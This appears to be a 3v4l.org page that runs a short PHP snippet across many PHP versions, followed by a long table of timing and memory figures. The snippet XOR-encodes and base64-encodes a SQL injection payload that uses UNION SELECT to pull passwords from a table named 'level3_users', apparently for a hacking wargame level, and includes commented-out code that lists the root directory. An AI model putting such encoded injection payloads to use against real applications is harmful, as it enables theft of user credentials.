3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT password,password,password,password,password,password,password FROM level3_users WHERE Username=Admin #"); print "\n"; print "\n"; #$handle = opendir('/'); #while (($file = readdir($handle)) !== false) # print $file. "\n"; #closedir($handle); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00316.63
8.3.50.0090.00922.15
8.3.40.0120.00318.88
8.3.30.0110.00319.13
8.3.20.0000.00820.29
8.3.10.0030.00523.51
8.3.00.0000.01119.75
8.2.180.0110.01118.52
8.2.170.0120.00322.96
8.2.160.0070.00720.39
8.2.150.0050.00324.18
8.2.140.0050.00324.66
8.2.130.0050.00326.16
8.2.120.0080.00022.27
8.2.110.0060.00322.25
8.2.100.0080.00318.03
8.2.90.0040.00419.26
8.2.80.0000.00817.97
8.2.70.0000.00917.88
8.2.60.0050.00318.04
8.2.50.0050.00318.07
8.2.40.0040.00419.88
8.2.30.0040.00418.27
8.2.20.0000.00818.05
8.2.10.0040.00418.24
8.2.00.0040.00417.90
8.1.280.0070.01025.92
8.1.270.0060.00321.99
8.1.260.0080.00026.35
8.1.250.0040.00428.09
8.1.240.0090.00023.84
8.1.230.0090.00319.27
8.1.220.0040.00417.79
8.1.210.0000.00818.77
8.1.200.0060.00317.73
8.1.190.0030.00617.48
8.1.180.0060.00319.13
8.1.170.0000.00818.62
8.1.160.0000.00722.07
8.1.150.0040.00418.78
8.1.140.0040.00417.68
8.1.130.0000.00717.94
8.1.120.0040.00417.54
8.1.110.0000.00717.66
8.1.100.0000.00817.55
8.1.90.0040.00417.55
8.1.80.0070.00017.57
8.1.70.0000.00717.60
8.1.60.0030.00617.84
8.1.50.0090.00017.57
8.1.40.0030.00617.66
8.1.30.0000.00817.73
8.1.20.0080.00017.73
8.1.10.0060.00317.64
8.1.00.0000.00917.61
8.0.300.0000.00718.77
8.0.290.0030.00617.18
8.0.280.0040.00418.38
8.0.270.0030.00517.32
8.0.260.0080.00017.42
8.0.250.0030.00317.16
8.0.240.0070.00017.03
8.0.230.0030.00317.03
8.0.220.0030.00317.01
8.0.210.0000.00717.08
8.0.200.0060.00017.02
8.0.190.0040.00417.16
8.0.180.0070.00017.13
8.0.170.0000.00817.12
8.0.160.0070.00017.08
8.0.150.0050.00517.05
8.0.140.0040.00417.04
8.0.130.0030.00313.54
8.0.120.0060.00317.04
8.0.110.0020.00517.10
8.0.100.0070.00017.14
8.0.90.0020.00516.96
8.0.80.0070.01017.11
8.0.70.0060.00317.04
8.0.60.0040.00416.97
8.0.50.0000.00816.96
8.0.30.0060.01317.40
8.0.20.0110.01017.47
8.0.10.0000.00717.19
8.0.00.0090.01017.02
7.4.330.0030.00315.04
7.4.320.0000.00716.89
7.4.300.0000.00616.82
7.4.290.0040.00416.68
7.4.280.0030.00316.85
7.4.270.0080.00016.89
7.4.260.0000.00716.72
7.4.250.0040.00416.62
7.4.240.0020.00516.71
7.4.230.0000.00716.60
7.4.220.0130.01316.84
7.4.210.0100.00816.84
7.4.200.0030.00316.79
7.4.190.0080.00016.96
7.4.160.0130.00316.79
7.4.150.0070.01117.40
7.4.140.0060.01217.86
7.4.130.0050.01316.76
7.4.120.0130.00816.81
7.4.110.0100.00716.63
7.4.100.0090.00916.78
7.4.90.0140.00316.72
7.4.80.0070.01719.39
7.4.70.0110.01116.57
7.4.60.0180.00016.69
7.4.50.0000.00416.86
7.4.40.0150.00416.79
7.4.30.0080.01216.77
7.4.00.0080.00715.27
7.3.330.0000.00613.55
7.3.320.0000.00513.47
7.3.310.0000.00816.66
7.3.300.0030.00316.61
7.3.290.0030.01016.64
7.3.280.0110.01016.51
7.3.270.0030.01417.40
7.3.260.0060.01316.94
7.3.250.0120.00616.79
7.3.240.0100.00616.89
7.3.230.0120.00616.49
7.3.210.0080.00816.57
7.3.200.0120.01119.39
7.3.190.0160.00616.93
7.3.180.0060.01216.57
7.3.170.0030.01316.88
7.3.160.0170.00016.50
7.3.120.0100.00615.11
7.3.110.0070.00814.88
7.3.100.0070.01015.18
7.3.90.0050.01015.08
7.3.80.0050.01114.82
7.3.70.0080.00315.03
7.3.60.0030.01214.96
7.3.50.0080.00714.92
7.3.40.0070.01014.84
7.3.30.0090.00614.81
7.3.20.0040.00816.74
7.3.10.0100.00716.93
7.3.00.0040.00816.73
7.2.330.0090.00916.96
7.2.320.0070.01016.73
7.2.310.0100.01316.82
7.2.300.0150.00316.97
7.2.290.0130.01016.77
7.2.250.0070.01015.21
7.2.240.0070.01215.32
7.2.230.0030.01215.34
7.2.220.0050.01115.14
7.2.210.0030.01215.41
7.2.200.0080.00515.25
7.2.190.0060.00715.13
7.2.180.0030.01115.16
7.2.170.0100.00615.33
7.2.160.0120.00015.03
7.2.150.0030.00717.13
7.2.140.0100.00316.96
7.2.130.0000.01417.16
7.2.120.0030.00917.09
7.2.110.0040.01216.85
7.2.100.0030.00717.12
7.2.90.0000.01217.17
7.2.80.0070.01017.11
7.2.70.0030.00617.15
7.2.60.0110.00317.14
7.2.50.0040.00917.07
7.2.40.0080.00416.75
7.2.30.0070.00717.14
7.2.20.0040.01117.02
7.2.10.0080.00417.18
7.2.00.0060.00818.36
7.1.330.0090.00715.93
7.1.320.0020.01116.00
7.1.310.0050.00815.93
7.1.300.0100.00515.84
7.1.290.0040.01015.98
7.1.280.0060.00816.05
7.1.270.0040.00616.02
7.1.260.0050.01115.81
7.1.250.0060.00316.06
7.1.100.0000.01118.27
7.1.70.0100.00317.39
7.1.60.0120.00919.46
7.1.50.0050.00817.31
7.1.00.0070.07322.48
7.0.200.0040.00417.07
7.0.140.0070.07021.98
7.0.70.0070.03721.70
7.0.60.0100.03321.68
7.0.50.0070.03022.17
7.0.40.0030.04020.14
7.0.30.0000.08320.13
7.0.20.0100.06020.07
7.0.10.0070.04320.02
7.0.00.0000.03720.02
5.6.280.0100.06720.89
5.6.220.0030.04020.70
5.6.210.0030.04020.52
5.6.200.0000.03721.00
5.6.190.0000.03721.00
5.6.180.0030.03320.95
5.6.170.0030.08020.95
5.6.160.0030.05321.11
5.6.150.0030.04320.98
5.6.140.0070.03720.93
5.6.130.0030.03321.12
5.6.120.0100.02721.10
5.6.110.0030.03321.06
5.6.100.0070.03721.11
5.6.90.0000.04721.05
5.6.80.0030.03320.48
5.6.70.0000.03320.40
5.6.60.0030.03320.44
5.6.50.0000.03720.36
5.6.40.0000.03320.48
5.6.30.0000.03320.46
5.6.20.0000.03320.38
5.6.10.0030.04020.38
5.6.00.0030.03020.44
5.5.360.0000.04320.49
5.5.350.0000.04720.38
5.5.340.0030.04020.83
5.5.330.0030.03020.88
5.5.320.0000.04320.79
5.5.310.0000.07320.77
5.5.300.0030.04320.88
5.5.290.0030.03320.81
5.5.280.0000.04720.71
5.5.270.0030.03020.91
5.5.260.0070.03020.85
5.5.250.0070.03720.72
5.5.240.0030.03720.31
5.5.230.0000.03320.26
5.5.220.0000.03320.21
5.5.210.0030.03020.14
5.5.200.0000.03320.13
5.5.190.0000.03320.18
5.5.180.0000.03320.21
5.5.160.0000.03720.17
5.5.150.0000.03320.23
5.5.140.0000.03320.22
5.5.130.0030.07720.27
5.5.120.0100.07020.17
5.5.110.0000.08020.07
5.5.100.0000.07319.95
5.5.90.0000.04720.07
5.5.80.0030.04719.97
5.5.70.0030.04720.03
5.5.60.0130.07020.14
5.5.50.0000.06720.03
5.5.40.0000.08020.16
5.5.30.0100.07020.13
5.5.20.0030.07720.14
5.5.10.0070.07020.12
5.5.00.0030.08020.10
5.4.450.0030.03019.50
5.4.440.0000.04019.41
5.4.430.0000.03319.52
5.4.420.0030.03019.54
5.4.410.0000.04019.41
5.4.400.0000.03018.84
5.4.390.0000.03719.21
5.4.380.0000.03719.11
5.4.370.0030.03018.93
5.4.360.0100.02319.15
5.4.350.0070.02319.11
5.4.340.0030.03019.17
5.4.320.0000.04319.12
5.4.310.0000.04019.03
5.4.300.0070.03719.03
5.4.290.0070.05318.89
5.4.280.0000.03719.06
5.4.270.0130.07018.89
5.4.260.0030.04319.20
5.4.250.0000.06318.93
5.4.240.0030.08019.02
5.4.230.0030.07718.85
5.4.220.0070.07319.02
5.4.210.0030.07719.07
5.4.200.0030.05019.20
5.4.190.0030.04319.10
5.4.180.0000.08019.09
5.4.170.0030.07319.16
5.4.160.0030.08019.18
5.4.150.0030.07719.06
5.4.140.0030.07016.40
5.4.130.0100.06016.42
5.4.120.0070.07016.40
5.4.110.0070.07316.43
5.4.100.0000.07316.43
5.4.90.0070.07316.40
5.4.80.0070.06016.35
5.4.70.0070.05316.46
5.4.60.0000.06716.35
5.4.50.0030.07016.30
5.4.40.0030.06716.49
5.4.30.0000.07016.49
5.4.20.0030.04716.45
5.4.10.0030.04016.35
5.4.00.0100.06715.78
5.3.290.0030.04014.69
5.3.280.0000.07714.54
5.3.270.0030.07714.75
5.3.260.0000.07314.59
5.3.250.0000.07314.68
5.3.240.0000.05714.58
5.3.230.0030.07314.67
5.3.220.0000.07714.68
5.3.210.0000.08014.63
5.3.200.0070.07714.53
5.3.190.0030.07314.57
5.3.180.0070.05014.63
5.3.170.0030.06714.68
5.3.160.0070.04314.69
5.3.150.0030.07014.63
5.3.140.0070.07014.49
5.3.130.0030.07314.64
5.3.120.0070.06014.51
5.3.110.0000.06714.61
5.3.100.0070.07014.19
5.3.90.0030.04714.02
5.3.80.0000.07714.01
5.3.70.0030.06014.05
5.3.60.0030.05314.07
5.3.50.0000.07313.95
5.3.40.0030.07013.96
5.3.30.0000.07313.92
5.3.20.0000.06313.68
5.3.10.0000.07313.80
5.3.00.0100.05013.78
5.2.170.0030.06311.35
5.2.160.0000.06011.35
5.2.150.0000.05711.35
5.2.140.0030.06311.35
5.2.130.0000.06311.35
5.2.120.0030.05711.35
5.2.110.0000.06311.35
5.2.100.0030.05311.35
5.2.90.0030.05711.35
5.2.80.0000.06011.35
5.2.70.0030.06311.35
5.2.60.0030.06311.35
5.2.50.0030.06011.35
5.2.40.0070.03711.35
5.2.30.0070.05011.35
5.2.20.0030.06311.35
5.2.10.0030.06311.35
5.2.00.0000.06711.35
5.1.60.0070.05011.35
5.1.50.0030.05011.35
5.1.40.0070.04711.35
5.1.30.0030.04711.35
5.1.20.0000.06011.35
5.1.10.0030.05011.35
5.1.00.0030.05711.35
5.0.50.0000.05011.35
5.0.40.0000.04011.35
5.0.30.0000.06711.35
5.0.20.0030.03711.35
5.0.10.0000.04311.35
5.0.00.0030.05311.35
4.4.90.0030.03311.35
4.4.80.0000.03711.35
4.4.70.0030.03311.35
4.4.60.0000.03711.35
4.4.50.0030.03311.35
4.4.40.0000.04711.35
4.4.30.0030.03311.35
4.4.20.0000.03011.35
4.4.10.0000.03711.35
4.4.00.0000.04011.35
4.3.110.0070.02311.35
4.3.100.0030.03311.35
4.3.90.0000.03011.35
4.3.80.0000.05711.35
4.3.70.0000.03311.35
4.3.60.0030.03311.35
4.3.50.0000.03711.35
4.3.40.0100.04311.35
4.3.30.0000.03011.35
4.3.20.0000.03711.35
4.3.10.0030.02711.35
4.3.00.0000.03711.35

preferences:
45.67 ms | 401 KiB | 5 Q